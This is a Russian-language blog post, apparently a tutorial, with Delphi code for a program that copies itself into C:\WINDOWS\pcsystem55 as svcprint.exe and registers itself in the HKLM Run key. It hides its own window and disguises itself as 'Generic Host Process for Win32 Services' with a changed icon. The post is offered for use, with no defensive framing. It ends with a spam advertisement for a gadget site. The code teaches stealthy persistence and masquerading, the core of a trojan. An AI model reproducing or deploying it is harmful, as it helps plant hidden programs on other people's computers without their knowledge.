Jul 01

Небольшая программка

Давайте попробуем сделать небольшую программку, которая при запуске копируется в папку под названием pcsystem55, називает себе  svcprint и добавляется в автозапуск...Начнем из того, что в OnCreate вписываем:

procedure TForm1.FormCreate(Sender: TObject);
var
h: TRegistry;
begin
{попробуем скопировать запущеный файл до C:\WINDOWS\pcsystem55\ и назвать его svcprint,
где с - росийская буква}
try CopyFile(PChar(paramstr(0)),'C:\WINDOWS\pcsystem55\svcprint.exe',true); except ; end;
h := TRegistry.Create; // работаем с реестром
with h do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true); //вписываем в автопуск
WriteString('svcprint', 'C:\WINDOWS\pcsystem55\svcprint.exe');
CloseKey;
Free;
end;
end;

При этом важно не забыть в Uses добавить Registry

С целью убрания из стола непонятного окна, добавлям процедуру:

procedure TForm1.FormPaint(Sender: TObject);
begin
Form1.Hide; // скрываем окно
end;
Далее изменяем цифровую подпись и в FileDescription записываем Generic Host Process for Win32 Services

В закладке Application изменяем саму иконку.

Проверяем полученный итоговый результат:

Запускаем файл, делаем перезагрузку ПК (с pcsystem55 файл начнет загружатся исключительно после перезагрузки).

При пуске задач в нас добавляется еще одна svcprint.exe, программа для проверки автопуска нам покажет svcprint, которfz запускается с папки под названием pcsystem55, Process Hacker (либо другая, достаточно продвинутая прога для мониторинга процесов) покажет, что наш svcprint.exe в отличии от оригинала открывается под Explorer, против процесса в поле FileDescription будет Generic Host Process for Win32 Services... (не понимаю точно еще почему именно эти добавляются), Firewall кстати видать может предупреждение при пуске, будто прога наша намеревается доступ получить к  реєстру и до папки под названием system32.

П.С. Хотите узнать новейшую информацию о мобильных телефонах, гаджетах, ноутбуках и нетбуках, онлайн-играх, GPS навигаторах, электронных книгах и о многом-многом другом? Новости мобильной связи, а также адреса магазинов, где есть возможность купить дешево различные технические приспособления,  можно найти на страницах сайта 4cam.ru!


Поделитесь вашими мыслями

Поддерживаемые теги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>